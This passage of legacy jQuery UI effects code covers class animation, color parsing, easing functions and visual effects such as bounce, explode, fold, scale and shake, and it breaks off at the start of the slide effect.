            var cb = (typeof easing == "function" ? easing : (callback ? callback : null));
            var ea = (typeof easing == "object" ? easing : null);
            return this.each(function() {
                var offset = {};
                var that = $(this);
                var oldStyleAttr = that.attr("style") || '';
                if (typeof oldStyleAttr == 'object') oldStyleAttr = oldStyleAttr["cssText"];
                if (value.toggle) {
                    that.hasClass(value.toggle) ? value.remove = value.toggle : value.add = value.toggle;
                }
                var oldStyle = $.extend({}, (document.defaultView ? document.defaultView.getComputedStyle(this, null) : this.currentStyle));
                if (value.add) that.addClass(value.add);
                if (value.remove) that.removeClass(value.remove);
                var newStyle = $.extend({}, (document.defaultView ? document.defaultView.getComputedStyle(this, null) : this.currentStyle));
                if (value.add) that.removeClass(value.add);
                if (value.remove) that.addClass(value.remove);
                for (var n in newStyle) {
                    if (typeof newStyle[n] != "function" && newStyle[n] && n.indexOf("Moz") == -1 && n.indexOf("length") == -1 && newStyle[n] != oldStyle[n] && (n.match(/color/i) || (!n.match(/color/i) && !isNaN(parseInt(newStyle[n], 10)))) && (oldStyle.position != "static" || (oldStyle.position == "static" && !n.match(/left|top|bottom|right/)))) offset[n] = newStyle[n];
                }
                that.animate(offset, duration, ea, function() {
                    if (typeof $(this).attr("style") == 'object') {
                        $(this).attr("style")["cssText"] = "";
                        $(this).attr("style")["cssText"] = oldStyleAttr;
                    } else $(this).attr("style", oldStyleAttr);
                    if (value.add) $(this).addClass(value.add);
                    if (value.remove) $(this).removeClass(value.remove);
                    if (cb) cb.apply(this, arguments);
                });
            });
        }
    });
    $.fn.extend({
        _show: $.fn.show,
        _hide: $.fn.hide,
        __toggle: $.fn.toggle,
        _addClass: $.fn.addClass,
        _removeClass: $.fn.removeClass,
        _toggleClass: $.fn.toggleClass,
        effect: function(fx, o, speed, callback) {
            return $.effects[fx] ? $.effects[fx].call(this, {
                method: fx,
                options: o || {},
                duration: speed,
                callback: callback
            }) : null;
        },
        show: function() {
            if (!arguments[0] || (arguments[0].constructor == Number || /(slow|normal|fast)/.test(arguments[0]))) return this._show.apply(this, arguments);
            else {
                var o = arguments[1] || {};
                o['mode'] = 'show';
                return this.effect.apply(this, [arguments[0], o, arguments[2] || o.duration, arguments[3] || o.callback]);
            }
        },
        hide: function() {
            if (!arguments[0] || (arguments[0].constructor == Number || /(slow|normal|fast)/.test(arguments[0]))) return this._hide.apply(this, arguments);
            else {
                var o = arguments[1] || {};
                o['mode'] = 'hide';
                return this.effect.apply(this, [arguments[0], o, arguments[2] || o.duration, arguments[3] || o.callback]);
            }
        },
        toggle: function() {
            if (!arguments[0] || (arguments[0].constructor == Number || /(slow|normal|fast)/.test(arguments[0])) || (arguments[0].constructor == Function)) return this.__toggle.apply(this, arguments);
            else {
                var o = arguments[1] || {};
                o['mode'] = 'toggle';
                return this.effect.apply(this, [arguments[0], o, arguments[2] || o.duration, arguments[3] || o.callback]);
            }
        },
        addClass: function(classNames, speed, easing, callback) {
            return speed ? $.effects.animateClass.apply(this, [{
                add: classNames
            },
            speed, easing, callback]) : this._addClass(classNames);
        },
        removeClass: function(classNames, speed, easing, callback) {
            return speed ? $.effects.animateClass.apply(this, [{
                remove: classNames
            },
            speed, easing, callback]) : this._removeClass(classNames);
        },
        toggleClass: function(classNames, speed, easing, callback) {
            return speed ? $.effects.animateClass.apply(this, [{
                toggle: classNames
            },
            speed, easing, callback]) : this._toggleClass(classNames);
        },
        morph: function(remove, add, speed, easing, callback) {
            return $.effects.animateClass.apply(this, [{
                add: add,
                remove: remove
            },
            speed, easing, callback]);
        },
        switchClass: function() {
            return this.morph.apply(this, arguments);
        },
        cssUnit: function(key) {
            var style = this.css(key),
                val = [];
            $.each(['em', 'px', '%', 'pt'], function(i, unit) {
                if (style.indexOf(unit) > 0) val = [parseFloat(style), unit];
            });
            return val;
        }
    });
    jQuery.each(['backgroundColor', 'borderBottomColor', 'borderLeftColor', 'borderRightColor', 'borderTopColor', 'color', 'outlineColor'], function(i, attr) {
        jQuery.fx.step[attr] = function(fx) {
            if (fx.state == 0) {
                fx.start = getColor(fx.elem, attr);
                fx.end = getRGB(fx.end);
            }
            fx.elem.style[attr] = "rgb(" + [Math.max(Math.min(parseInt((fx.pos * (fx.end[0] - fx.start[0])) + fx.start[0]), 255), 0), Math.max(Math.min(parseInt((fx.pos * (fx.end[1] - fx.start[1])) + fx.start[1]), 255), 0), Math.max(Math.min(parseInt((fx.pos * (fx.end[2] - fx.start[2])) + fx.start[2]), 255), 0)].join(",") + ")";
        }
    });

    function getRGB(color) {
        var result;
        if (color && color.constructor == Array && color.length == 3) return color;
        if (result = /rgb\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*\)/.exec(color)) return [parseInt(result[1]), parseInt(result[2]), parseInt(result[3])];
        if (result = /rgb\(\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*\)/.exec(color)) return [parseFloat(result[1]) * 2.55, parseFloat(result[2]) * 2.55, parseFloat(result[3]) * 2.55];
        if (result = /#([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})/.exec(color)) return [parseInt(result[1], 16), parseInt(result[2], 16), parseInt(result[3], 16)];
        if (result = /#([a-fA-F0-9])([a-fA-F0-9])([a-fA-F0-9])/.exec(color)) return [parseInt(result[1] + result[1], 16), parseInt(result[2] + result[2], 16), parseInt(result[3] + result[3], 16)];
        if (result = /rgba\(0, 0, 0, 0\)/.exec(color)) return colors['transparent']
        return colors[jQuery.trim(color).toLowerCase()];
    }

    function getColor(elem, attr) {
        var color;
        do {
            color = jQuery.curCSS(elem, attr);
            if (color != '' && color != 'transparent' || jQuery.nodeName(elem, "body")) break;
            attr = "backgroundColor";
        } while (elem = elem.parentNode);
        return getRGB(color);
    };
    var colors = {
        aqua: [0, 255, 255],
        azure: [240, 255, 255],
        beige: [245, 245, 220],
        black: [0, 0, 0],
        blue: [0, 0, 255],
        brown: [165, 42, 42],
        cyan: [0, 255, 255],
        darkblue: [0, 0, 139],
        darkcyan: [0, 139, 139],
        darkgrey: [169, 169, 169],
        darkgreen: [0, 100, 0],
        darkkhaki: [189, 183, 107],
        darkmagenta: [139, 0, 139],
        darkolivegreen: [85, 107, 47],
        darkorange: [255, 140, 0],
        darkorchid: [153, 50, 204],
        darkred: [139, 0, 0],
        darksalmon: [233, 150, 122],
        darkviolet: [148, 0, 211],
        fuchsia: [255, 0, 255],
        gold: [255, 215, 0],
        green: [0, 128, 0],
        indigo: [75, 0, 130],
        khaki: [240, 230, 140],
        lightblue: [173, 216, 230],
        lightcyan: [224, 255, 255],
        lightgreen: [144, 238, 144],
        lightgrey: [211, 211, 211],
        lightpink: [255, 182, 193],
        lightyellow: [255, 255, 224],
        lime: [0, 255, 0],
        magenta: [255, 0, 255],
        maroon: [128, 0, 0],
        navy: [0, 0, 128],
        olive: [128, 128, 0],
        orange: [255, 165, 0],
        pink: [255, 192, 203],
        purple: [128, 0, 128],
        violet: [128, 0, 128],
        red: [255, 0, 0],
        silver: [192, 192, 192],
        white: [255, 255, 255],
        yellow: [255, 255, 0],
        transparent: [255, 255, 255]
    };
    jQuery.easing['jswing'] = jQuery.easing['swing'];
    jQuery.extend(jQuery.easing, {
        def: 'easeOutQuad',
        swing: function(x, t, b, c, d) {
            return jQuery.easing[jQuery.easing.def](x, t, b, c, d);
        },
        easeInQuad: function(x, t, b, c, d) {
            return c * (t /= d) * t + b;
        },
        easeOutQuad: function(x, t, b, c, d) {
            return -c * (t /= d) * (t - 2) + b;
        },
        easeInOutQuad: function(x, t, b, c, d) {
            if ((t /= d / 2) < 1) return c / 2 * t * t + b;
            return -c / 2 * ((--t) * (t - 2) - 1) + b;
        },
        easeInCubic: function(x, t, b, c, d) {
            return c * (t /= d) * t * t + b;
        },
        easeOutCubic: function(x, t, b, c, d) {
            return c * ((t = t / d - 1) * t * t + 1) + b;
        },
        easeInOutCubic: function(x, t, b, c, d) {
            if ((t /= d / 2) < 1) return c / 2 * t * t * t + b;
            return c / 2 * ((t -= 2) * t * t + 2) + b;
        },
        easeInQuart: function(x, t, b, c, d) {
            return c * (t /= d) * t * t * t + b;
        },
        easeOutQuart: function(x, t, b, c, d) {
            return -c * ((t = t / d - 1) * t * t * t - 1) + b;
        },
        easeInOutQuart: function(x, t, b, c, d) {
            if ((t /= d / 2) < 1) return c / 2 * t * t * t * t + b;
            return -c / 2 * ((t -= 2) * t * t * t - 2) + b;
        },
        easeInQuint: function(x, t, b, c, d) {
            return c * (t /= d) * t * t * t * t + b;
        },
        easeOutQuint: function(x, t, b, c, d) {
            return c * ((t = t / d - 1) * t * t * t * t + 1) + b;
        },
        easeInOutQuint: function(x, t, b, c, d) {
            if ((t /= d / 2) < 1) return c / 2 * t * t * t * t * t + b;
            return c / 2 * ((t -= 2) * t * t * t * t + 2) + b;
        },
        easeInSine: function(x, t, b, c, d) {
            return -c * Math.cos(t / d * (Math.PI / 2)) + c + b;
        },
        easeOutSine: function(x, t, b, c, d) {
            return c * Math.sin(t / d * (Math.PI / 2)) + b;
        },
        easeInOutSine: function(x, t, b, c, d) {
            return -c / 2 * (Math.cos(Math.PI * t / d) - 1) + b;
        },
        easeInExpo: function(x, t, b, c, d) {
            return (t == 0) ? b : c * Math.pow(2, 10 * (t / d - 1)) + b;
        },
        easeOutExpo: function(x, t, b, c, d) {
            return (t == d) ? b + c : c * (-Math.pow(2, -10 * t / d) + 1) + b;
        },
        easeInOutExpo: function(x, t, b, c, d) {
            if (t == 0) return b;
            if (t == d) return b + c;
            if ((t /= d / 2) < 1) return c / 2 * Math.pow(2, 10 * (t - 1)) + b;
            return c / 2 * (-Math.pow(2, -10 * --t) + 2) + b;
        },
        easeInCirc: function(x, t, b, c, d) {
            return -c * (Math.sqrt(1 - (t /= d) * t) - 1) + b;
        },
        easeOutCirc: function(x, t, b, c, d) {
            return c * Math.sqrt(1 - (t = t / d - 1) * t) + b;
        },
        easeInOutCirc: function(x, t, b, c, d) {
            if ((t /= d / 2) < 1) return -c / 2 * (Math.sqrt(1 - t * t) - 1) + b;
            return c / 2 * (Math.sqrt(1 - (t -= 2) * t) + 1) + b;
        },
        easeInElastic: function(x, t, b, c, d) {
            var s = 1.70158;
            var p = 0;
            var a = c;
            if (t == 0) return b;
            if ((t /= d) == 1) return b + c;
            if (!p) p = d * .3;
            if (a < Math.abs(c)) {
                a = c;
                var s = p / 4;
            } else var s = p / (2 * Math.PI) * Math.asin(c / a);
            return -(a * Math.pow(2, 10 * (t -= 1)) * Math.sin((t * d - s) * (2 * Math.PI) / p)) + b;
        },
        easeOutElastic: function(x, t, b, c, d) {
            var s = 1.70158;
            var p = 0;
            var a = c;
            if (t == 0) return b;
            if ((t /= d) == 1) return b + c;
            if (!p) p = d * .3;
            if (a < Math.abs(c)) {
                a = c;
                var s = p / 4;
            } else var s = p / (2 * Math.PI) * Math.asin(c / a);
            return a * Math.pow(2, -10 * t) * Math.sin((t * d - s) * (2 * Math.PI) / p) + c + b;
        },
        easeInOutElastic: function(x, t, b, c, d) {
            var s = 1.70158;
            var p = 0;
            var a = c;
            if (t == 0) return b;
            if ((t /= d / 2) == 2) return b + c;
            if (!p) p = d * (.3 * 1.5);
            if (a < Math.abs(c)) {
                a = c;
                var s = p / 4;
            } else var s = p / (2 * Math.PI) * Math.asin(c / a);
            if (t < 1) return -.5 * (a * Math.pow(2, 10 * (t -= 1)) * Math.sin((t * d - s) * (2 * Math.PI) / p)) + b;
            return a * Math.pow(2, -10 * (t -= 1)) * Math.sin((t * d - s) * (2 * Math.PI) / p) * .5 + c + b;
        },
        easeInBack: function(x, t, b, c, d, s) {
            if (s == undefined) s = 1.70158;
            return c * (t /= d) * t * ((s + 1) * t - s) + b;
        },
        easeOutBack: function(x, t, b, c, d, s) {
            if (s == undefined) s = 1.70158;
            return c * ((t = t / d - 1) * t * ((s + 1) * t + s) + 1) + b;
        },
        easeInOutBack: function(x, t, b, c, d, s) {
            if (s == undefined) s = 1.70158;
            if ((t /= d / 2) < 1) return c / 2 * (t * t * (((s *= (1.525)) + 1) * t - s)) + b;
            return c / 2 * ((t -= 2) * t * (((s *= (1.525)) + 1) * t + s) + 2) + b;
        },
        easeInBounce: function(x, t, b, c, d) {
            return c - jQuery.easing.easeOutBounce(x, d - t, 0, c, d) + b;
        },
        easeOutBounce: function(x, t, b, c, d) {
            if ((t /= d) < (1 / 2.75)) {
                return c * (7.5625 * t * t) + b;
            } else if (t < (2 / 2.75)) {
                return c * (7.5625 * (t -= (1.5 / 2.75)) * t + .75) + b;
            } else if (t < (2.5 / 2.75)) {
                return c * (7.5625 * (t -= (2.25 / 2.75)) * t + .9375) + b;
            } else {
                return c * (7.5625 * (t -= (2.625 / 2.75)) * t + .984375) + b;
            }
        },
        easeInOutBounce: function(x, t, b, c, d) {
            if (t < d / 2) return jQuery.easing.easeInBounce(x, t * 2, 0, c, d) * .5 + b;
            return jQuery.easing.easeOutBounce(x, t * 2 - d, 0, c, d) * .5 + c * .5 + b;
        }
    });
})(jQuery);
(function($) {
    $.effects.blind = function(o) {
        return this.queue(function() {
            var el = $(this),
                props = ['position', 'top', 'left'];
            var mode = $.effects.setMode(el, o.options.mode || 'hide');
            var direction = o.options.direction || 'vertical';
            $.effects.save(el, props);
            el.show();
            var wrapper = $.effects.createWrapper(el).css({
                overflow: 'hidden'
            });
            var ref = (direction == 'vertical') ? 'height' : 'width';
            var distance = (direction == 'vertical') ? wrapper.height() : wrapper.width();
            if (mode == 'show') wrapper.css(ref, 0);
            var animation = {};
            animation[ref] = mode == 'show' ? distance : 0;
            wrapper.animate(animation, o.duration, o.options.easing, function() {
                if (mode == 'hide') el.hide();
                $.effects.restore(el, props);
                $.effects.removeWrapper(el);
                if (o.callback) o.callback.apply(el[0], arguments);
                el.dequeue();
            });
        });
    };
})(jQuery);
(function($) {
    $.effects.bounce = function(o) {
        return this.queue(function() {
            var el = $(this),
                props = ['position', 'top', 'left'];
            var mode = $.effects.setMode(el, o.options.mode || 'effect');
            var direction = o.options.direction || 'up';
            var distance = o.options.distance || 20;
            var times = o.options.times || 5;
            var speed = o.duration || 250;
            if (/show|hide/.test(mode)) props.push('opacity');
            $.effects.save(el, props);
            el.show();
            $.effects.createWrapper(el);
            var ref = (direction == 'up' || direction == 'down') ? 'top' : 'left';
            var motion = (direction == 'up' || direction == 'left') ? 'pos' : 'neg';
            var distance = o.options.distance || (ref == 'top' ? el.outerHeight({
                margin: true
            }) / 3 : el.outerWidth({
                margin: true
            }) / 3);
            if (mode == 'show') el.css('opacity', 0).css(ref, motion == 'pos' ? -distance : distance);
            if (mode == 'hide') distance = distance / (times * 2);
            if (mode != 'hide') times--;
            if (mode == 'show') {
                var animation = {
                    opacity: 1
                };
                animation[ref] = (motion == 'pos' ? '+=' : '-=') + distance;
                el.animate(animation, speed / 2, o.options.easing);
                distance = distance / 2;
                times--;
            };
            for (var i = 0; i < times; i++) {
                var animation1 = {},
                    animation2 = {};
                animation1[ref] = (motion == 'pos' ? '-=' : '+=') + distance;
                animation2[ref] = (motion == 'pos' ? '+=' : '-=') + distance;
                el.animate(animation1, speed / 2, o.options.easing).animate(animation2, speed / 2, o.options.easing);
                distance = (mode == 'hide') ? distance * 2 : distance / 2;
            };
            if (mode == 'hide') {
                var animation = {
                    opacity: 0
                };
                animation[ref] = (motion == 'pos' ? '-=' : '+=') + distance;
                el.animate(animation, speed / 2, o.options.easing, function() {
                    el.hide();
                    $.effects.restore(el, props);
                    $.effects.removeWrapper(el);
                    if (o.callback) o.callback.apply(this, arguments);
                });
            } else {
                var animation1 = {},
                    animation2 = {};
                animation1[ref] = (motion == 'pos' ? '-=' : '+=') + distance;
                animation2[ref] = (motion == 'pos' ? '+=' : '-=') + distance;
                el.animate(animation1, speed / 2, o.options.easing).animate(animation2, speed / 2, o.options.easing, function() {
                    $.effects.restore(el, props);
                    $.effects.removeWrapper(el);
                    if (o.callback) o.callback.apply(this, arguments);
                });
            };
            el.queue('fx', function() {
                el.dequeue();
            });
            el.dequeue();
        });
    };
})(jQuery);
(function($) {
    $.effects.clip = function(o) {
        return this.queue(function() {
            var el = $(this),
                props = ['position', 'top', 'left', 'height', 'width'];
            var mode = $.effects.setMode(el, o.options.mode || 'hide');
            var direction = o.options.direction || 'vertical';
            $.effects.save(el, props);
            el.show();
            var wrapper = $.effects.createWrapper(el).css({
                overflow: 'hidden'
            });
            var animate = el[0].tagName == 'IMG' ? wrapper : el;
            var ref = {
                size: (direction == 'vertical') ? 'height' : 'width',
                position: (direction == 'vertical') ? 'top' : 'left'
            };
            var distance = (direction == 'vertical') ? animate.height() : animate.width();
            if (mode == 'show') {
                animate.css(ref.size, 0);
                animate.css(ref.position, distance / 2);
            }
            var animation = {};
            animation[ref.size] = mode == 'show' ? distance : 0;
            animation[ref.position] = mode == 'show' ? 0 : distance / 2;
            animate.animate(animation, {
                queue: false,
                duration: o.duration,
                easing: o.options.easing,
                complete: function() {
                    if (mode == 'hide') el.hide();
                    $.effects.restore(el, props);
                    $.effects.removeWrapper(el);
                    if (o.callback) o.callback.apply(el[0], arguments);
                    el.dequeue();
                }
            });
        });
    };
})(jQuery);
(function($) {
    $.effects.drop = function(o) {
        return this.queue(function() {
            var el = $(this),
                props = ['position', 'top', 'left', 'opacity'];
            var mode = $.effects.setMode(el, o.options.mode || 'hide');
            var direction = o.options.direction || 'left';
            $.effects.save(el, props);
            el.show();
            $.effects.createWrapper(el);
            var ref = (direction == 'up' || direction == 'down') ? 'top' : 'left';
            var motion = (direction == 'up' || direction == 'left') ? 'pos' : 'neg';
            var distance = o.options.distance || (ref == 'top' ? el.outerHeight({
                margin: true
            }) / 2 : el.outerWidth({
                margin: true
            }) / 2);
            if (mode == 'show') el.css('opacity', 0).css(ref, motion == 'pos' ? -distance : distance);
            var animation = {
                opacity: mode == 'show' ? 1 : 0
            };
            animation[ref] = (mode == 'show' ? (motion == 'pos' ? '+=' : '-=') : (motion == 'pos' ? '-=' : '+=')) + distance;
            el.animate(animation, {
                queue: false,
                duration: o.duration,
                easing: o.options.easing,
                complete: function() {
                    if (mode == 'hide') el.hide();
                    $.effects.restore(el, props);
                    $.effects.removeWrapper(el);
                    if (o.callback) o.callback.apply(this, arguments);
                    el.dequeue();
                }
            });
        });
    };
})(jQuery);
(function($) {
    $.effects.explode = function(o) {
        return this.queue(function() {
            var rows = o.options.pieces ? Math.round(Math.sqrt(o.options.pieces)) : 3;
            var cells = o.options.pieces ? Math.round(Math.sqrt(o.options.pieces)) : 3;
            o.options.mode = o.options.mode == 'toggle' ? ($(this).is(':visible') ? 'hide' : 'show') : o.options.mode;
            var el = $(this).show().css('visibility', 'hidden');
            var offset = el.offset();
            offset.top -= parseInt(el.css("marginTop")) || 0;
            offset.left -= parseInt(el.css("marginLeft")) || 0;
            var width = el.outerWidth(true);
            var height = el.outerHeight(true);
            for (var i = 0; i < rows; i++) {
                for (var j = 0; j < cells; j++) {
                    el.clone().appendTo('body').wrap('<div></div>').css({
                        position: 'absolute',
                        visibility: 'visible',
                        left: -j * (width / cells),
                        top: -i * (height / rows)
                    }).parent().addClass('effects-explode').css({
                        position: 'absolute',
                        overflow: 'hidden',
                        width: width / cells,
                        height: height / rows,
                        left: offset.left + j * (width / cells) + (o.options.mode == 'show' ? (j - Math.floor(cells / 2)) * (width / cells) : 0),
                        top: offset.top + i * (height / rows) + (o.options.mode == 'show' ? (i - Math.floor(rows / 2)) * (height / rows) : 0),
                        opacity: o.options.mode == 'show' ? 0 : 1
                    }).animate({
                        left: offset.left + j * (width / cells) + (o.options.mode == 'show' ? 0 : (j - Math.floor(cells / 2)) * (width / cells)),
                        top: offset.top + i * (height / rows) + (o.options.mode == 'show' ? 0 : (i - Math.floor(rows / 2)) * (height / rows)),
                        opacity: o.options.mode == 'show' ? 1 : 0
                    }, o.duration || 500);
                }
            }
            setTimeout(function() {
                o.options.mode == 'show' ? el.css({
                    visibility: 'visible'
                }) : el.css({
                    visibility: 'visible'
                }).hide();
                if (o.callback) o.callback.apply(el[0]);
                el.dequeue();
                $('.effects-explode').remove();
            }, o.duration || 500);
        });
    };
})(jQuery);
(function($) {
    $.effects.fold = function(o) {
        return this.queue(function() {
            var el = $(this),
                props = ['position', 'top', 'left'];
            var mode = $.effects.setMode(el, o.options.mode || 'hide');
            var size = o.options.size || 15;
            var horizFirst = !(!o.options.horizFirst);
            $.effects.save(el, props);
            el.show();
            var wrapper = $.effects.createWrapper(el).css({
                overflow: 'hidden'
            });
            var widthFirst = ((mode == 'show') != horizFirst);
            var ref = widthFirst ? ['width', 'height'] : ['height', 'width'];
            var distance = widthFirst ? [wrapper.width(), wrapper.height()] : [wrapper.height(), wrapper.width()];
            var percent = /([0-9]+)%/.exec(size);
            if (percent) size = parseInt(percent[1]) / 100 * distance[mode == 'hide' ? 0 : 1];
            if (mode == 'show') wrapper.css(horizFirst ? {
                height: 0,
                width: size
            } : {
                height: size,
                width: 0
            });
            var animation1 = {},
                animation2 = {};
            animation1[ref[0]] = mode == 'show' ? distance[0] : size;
            animation2[ref[1]] = mode == 'show' ? distance[1] : 0;
            wrapper.animate(animation1, o.duration / 2, o.options.easing).animate(animation2, o.duration / 2, o.options.easing, function() {
                if (mode == 'hide') el.hide();
                $.effects.restore(el, props);
                $.effects.removeWrapper(el);
                if (o.callback) o.callback.apply(el[0], arguments);
                el.dequeue();
            });
        });
    };
})(jQuery);;
(function($) {
    $.effects.highlight = function(o) {
        return this.queue(function() {
            var el = $(this),
                props = ['backgroundImage', 'backgroundColor', 'opacity'];
            var mode = $.effects.setMode(el, o.options.mode || 'show');
            var color = o.options.color || "#ffff99";
            var oldColor = el.css("backgroundColor");
            $.effects.save(el, props);
            el.show();
            el.css({
                backgroundImage: 'none',
                backgroundColor: color
            });
            var animation = {
                backgroundColor: oldColor
            };
            if (mode == "hide") animation['opacity'] = 0;
            el.animate(animation, {
                queue: false,
                duration: o.duration,
                easing: o.options.easing,
                complete: function() {
                    if (mode == "hide") el.hide();
                    $.effects.restore(el, props);
                    if (mode == "show" && jQuery.browser.msie) this.style.removeAttribute('filter');
                    if (o.callback) o.callback.apply(this, arguments);
                    el.dequeue();
                }
            });
        });
    };
})(jQuery);
(function($) {
    $.effects.pulsate = function(o) {
        return this.queue(function() {
            var el = $(this);
            var mode = $.effects.setMode(el, o.options.mode || 'show');
            var times = o.options.times || 5;
            if (mode == 'hide') times--;
            if (el.is(':hidden')) {
                el.css('opacity', 0);
                el.show();
                el.animate({
                    opacity: 1
                }, o.duration / 2, o.options.easing);
                times = times - 2;
            }
            for (var i = 0; i < times; i++) {
                el.animate({
                    opacity: 0
                }, o.duration / 2, o.options.easing).animate({
                    opacity: 1
                }, o.duration / 2, o.options.easing);
            };
            if (mode == 'hide') {
                el.animate({
                    opacity: 0
                }, o.duration / 2, o.options.easing, function() {
                    el.hide();
                    if (o.callback) o.callback.apply(this, arguments);
                });
            } else {
                el.animate({
                    opacity: 0
                }, o.duration / 2, o.options.easing).animate({
                    opacity: 1
                }, o.duration / 2, o.options.easing, function() {
                    if (o.callback) o.callback.apply(this, arguments);
                });
            };
            el.queue('fx', function() {
                el.dequeue();
            });
            el.dequeue();
        });
    };
})(jQuery);
(function($) {
    $.effects.puff = function(o) {
        return this.queue(function() {
            var el = $(this);
            var options = $.extend(true, {}, o.options);
            var mode = $.effects.setMode(el, o.options.mode || 'hide');
            var percent = parseInt(o.options.percent) || 150;
            options.fade = true;
            var original = {
                height: el.height(),
                width: el.width()
            };
            var factor = percent / 100;
            el.from = (mode == 'hide') ? original : {
                height: original.height * factor,
                width: original.width * factor
            };
            options.from = el.from;
            options.percent = (mode == 'hide') ? percent : 100;
            options.mode = mode;
            el.effect('scale', options, o.duration, o.callback);
            el.dequeue();
        });
    };
    $.effects.scale = function(o) {
        return this.queue(function() {
            var el = $(this);
            var options = $.extend(true, {}, o.options);
            var mode = $.effects.setMode(el, o.options.mode || 'effect');
            var percent = parseInt(o.options.percent) || (parseInt(o.options.percent) == 0 ? 0 : (mode == 'hide' ? 0 : 100));
            var direction = o.options.direction || 'both';
            var origin = o.options.origin;
            if (mode != 'effect') {
                options.origin = origin || ['middle', 'center'];
                options.restore = true;
            }
            var original = {
                height: el.height(),
                width: el.width()
            };
            el.from = o.options.from || (mode == 'show' ? {
                height: 0,
                width: 0
            } : original);
            var factor = {
                y: direction != 'horizontal' ? (percent / 100) : 1,
                x: direction != 'vertical' ? (percent / 100) : 1
            };
            el.to = {
                height: original.height * factor.y,
                width: original.width * factor.x
            };
            if (o.options.fade) {
                if (mode == 'show') {
                    el.from.opacity = 0;
                    el.to.opacity = 1;
                };
                if (mode == 'hide') {
                    el.from.opacity = 1;
                    el.to.opacity = 0;
                };
            };
            options.from = el.from;
            options.to = el.to;
            options.mode = mode;
            el.effect('size', options, o.duration, o.callback);
            el.dequeue();
        });
    };
    $.effects.size = function(o) {
        return this.queue(function() {
            var el = $(this),
                props = ['position', 'top', 'left', 'width', 'height', 'overflow', 'opacity'];
            var props1 = ['position', 'top', 'left', 'overflow', 'opacity'];
            var props2 = ['width', 'height', 'overflow'];
            var cProps = ['fontSize'];
            var vProps = ['borderTopWidth', 'borderBottomWidth', 'paddingTop', 'paddingBottom'];
            var hProps = ['borderLeftWidth', 'borderRightWidth', 'paddingLeft', 'paddingRight'];
            var mode = $.effects.setMode(el, o.options.mode || 'effect');
            var restore = o.options.restore || false;
            var scale = o.options.scale || 'both';
            var origin = o.options.origin;
            var original = {
                height: el.height(),
                width: el.width()
            };
            el.from = o.options.from || original;
            el.to = o.options.to || original;
            if (origin) {
                var baseline = $.effects.getBaseline(origin, original);
                el.from.top = (original.height - el.from.height) * baseline.y;
                el.from.left = (original.width - el.from.width) * baseline.x;
                el.to.top = (original.height - el.to.height) * baseline.y;
                el.to.left = (original.width - el.to.width) * baseline.x;
            };
            var factor = {
                from: {
                    y: el.from.height / original.height,
                    x: el.from.width / original.width
                },
                to: {
                    y: el.to.height / original.height,
                    x: el.to.width / original.width
                }
            };
            if (scale == 'box' || scale == 'both') {
                if (factor.from.y != factor.to.y) {
                    props = props.concat(vProps);
                    el.from = $.effects.setTransition(el, vProps, factor.from.y, el.from);
                    el.to = $.effects.setTransition(el, vProps, factor.to.y, el.to);
                };
                if (factor.from.x != factor.to.x) {
                    props = props.concat(hProps);
                    el.from = $.effects.setTransition(el, hProps, factor.from.x, el.from);
                    el.to = $.effects.setTransition(el, hProps, factor.to.x, el.to);
                };
            };
            if (scale == 'content' || scale == 'both') {
                if (factor.from.y != factor.to.y) {
                    props = props.concat(cProps);
                    el.from = $.effects.setTransition(el, cProps, factor.from.y, el.from);
                    el.to = $.effects.setTransition(el, cProps, factor.to.y, el.to);
                };
            };
            $.effects.save(el, restore ? props : props1);
            el.show();
            $.effects.createWrapper(el);
            el.css('overflow', 'hidden').css(el.from);
            if (scale == 'content' || scale == 'both') {
                vProps = vProps.concat(['marginTop', 'marginBottom']).concat(cProps);
                hProps = hProps.concat(['marginLeft', 'marginRight']);
                props2 = props.concat(vProps).concat(hProps);
                el.find("*[width]").each(function() {
                    child = $(this);
                    if (restore) $.effects.save(child, props2);
                    var c_original = {
                        height: child.height(),
                        width: child.width()
                    };
                    child.from = {
                        height: c_original.height * factor.from.y,
                        width: c_original.width * factor.from.x
                    };
                    child.to = {
                        height: c_original.height * factor.to.y,
                        width: c_original.width * factor.to.x
                    };
                    if (factor.from.y != factor.to.y) {
                        child.from = $.effects.setTransition(child, vProps, factor.from.y, child.from);
                        child.to = $.effects.setTransition(child, vProps, factor.to.y, child.to);
                    };
                    if (factor.from.x != factor.to.x) {
                        child.from = $.effects.setTransition(child, hProps, factor.from.x, child.from);
                        child.to = $.effects.setTransition(child, hProps, factor.to.x, child.to);
                    };
                    child.css(child.from);
                    child.animate(child.to, o.duration, o.options.easing, function() {
                        if (restore) $.effects.restore(child, props2);
                    });
                });
            };
            el.animate(el.to, {
                queue: false,
                duration: o.duration,
                easing: o.options.easing,
                complete: function() {
                    if (mode == 'hide') el.hide();
                    $.effects.restore(el, restore ? props : props1);
                    $.effects.removeWrapper(el);
                    if (o.callback) o.callback.apply(this, arguments);
                    el.dequeue();
                }
            });
        });
    };
})(jQuery);
(function($) {
    $.effects.shake = function(o) {
        return this.queue(function() {
            var el = $(this),
                props = ['position', 'top', 'left'];
            var mode = $.effects.setMode(el, o.options.mode || 'effect');
            var direction = o.options.direction || 'left';
            var distance = o.options.distance || 20;
            var times = o.options.times || 3;
            var speed = o.duration || o.options.duration || 140;
            $.effects.save(el, props);
            el.show();
            $.effects.createWrapper(el);
            var ref = (direction == 'up' || direction == 'down') ? 'top' : 'left';
            var motion = (direction == 'up' || direction == 'left') ? 'pos' : 'neg';
            var animation = {},
                animation1 = {},
                animation2 = {};
            animation[ref] = (motion == 'pos' ? '-=' : '+=') + distance;
            animation1[ref] = (motion == 'pos' ? '+=' : '-=') + distance * 2;
            animation2[ref] = (motion == 'pos' ? '-=' : '+=') + distance * 2;
            el.animate(animation, speed, o.options.easing);
            for (var i = 1; i < times; i++) {
                el.animate(animation1, speed, o.options.easing).animate(animation2, speed, o.options.easing);
            };
            el.animate(animation1, speed, o.options.easing).animate(animation, speed / 2, o.options.easing, function() {
                $.effects.restore(el, props);
                $.effects.removeWrapper(el);
                if (o.callback) o.callback.apply(this, arguments);
            });
            el.queue('fx', function() {
                el.dequeue();
            });
            el.dequeue();
        });
    };
})(jQuery);
(function($) {
    $.effects.slide = function(o) {
        return this.queue(function() {
            var el = $(this),
                props = ['position', 'top', 'left'];
            var mode = $.effects.setMode(el, o.options.mode || 'show');
            var direction = o.options.direction || 'left';
